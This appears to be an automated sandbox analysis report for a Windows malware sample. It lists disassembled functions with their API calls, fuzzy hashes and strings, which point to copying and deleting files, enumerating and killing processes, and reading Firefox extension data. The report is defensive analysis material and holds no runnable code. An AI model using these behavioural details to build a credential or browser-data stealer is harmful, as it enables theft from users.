Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02606D90), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,02606D20), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,02606C30), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: b56a38c1a86f14c078ddccb29e1b24db0119f1c02980400aedfc514347e3491c
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: b56a38c1a86f14c078ddccb29e1b24db0119f1c02980400aedfc514347e3491c
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02606D90), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,02606D20), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,02606C30), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: ee895e584097aec2a6515aa658e799b262a169dafd9e9c2cc9f00a3ca233f608
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: ee895e584097aec2a6515aa658e799b262a169dafd9e9c2cc9f00a3ca233f608
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02606B40,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(025EA788,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,025E4B48,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(02606B40,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps
API String ID: 2929475105-3235701497
Opcode ID: a6ed7959de25b79cdb3bb5cb1e9ff1b97d18116cea63182b13b5717ab70b1157
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: a6ed7959de25b79cdb3bb5cb1e9ff1b97d18116cea63182b13b5717ab70b1157
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,025E8598,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: b68d428d358eb233707b55884b84f0156d73bcf5e8a67310085237626846fe48
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: b68d428d358eb233707b55884b84f0156d73bcf5e8a67310085237626846fe48
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,025E8598,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a6d085273746bd85741f5d767bc7a44b418890b6fcff0096d709ee887cb72c2d
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: a6d085273746bd85741f5d767bc7a44b418890b6fcff0096d709ee887cb72c2d
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

^userContextId=4294967295, xrefs: 0040F3DC
moz-extension+++, xrefs: 0040F3ED

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 85423c3c242042876a530643f9dd54465e4553440514c6f4521d5ac1c91b2fd3
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 85423c3c242042876a530643f9dd54465e4553440514c6f4521d5ac1c91b2fd3
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418F70 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00418F8B

Part of subcall function 004187F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
Part of subcall function 004187F0: HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
Part of subcall function 004187F0: wsprintfW.USER32 ref: 00418818

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041904B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419069
CloseHandle.KERNEL32(00000000), ref: 00419076

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 154a52856db1a36c13a1087e07be06801474524f1d0650fdf17c0744cb15a30d
Instruction ID: 3daad27826ff673201e4cbb303e81af6821d19ef8fccaa22ba62c435337ce2e5
Opcode Fuzzy Hash: 154a52856db1a36c13a1087e07be06801474524f1d0650fdf17c0744cb15a30d
Instruction Fuzzy Hash: 02316D71E01208AFDB24DFE0CD49BEDB775AF48304F104059F606AB294DBB8AE85CB55

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 56a5cc5f625808877023b0fd7aaa37bf15a2ec62f2c2cab451d14b7958c2b5f4
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: 56a5cc5f625808877023b0fd7aaa37bf15a2ec62f2c2cab451d14b7958c2b5f4
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,025E4B48,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,025E4B48,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
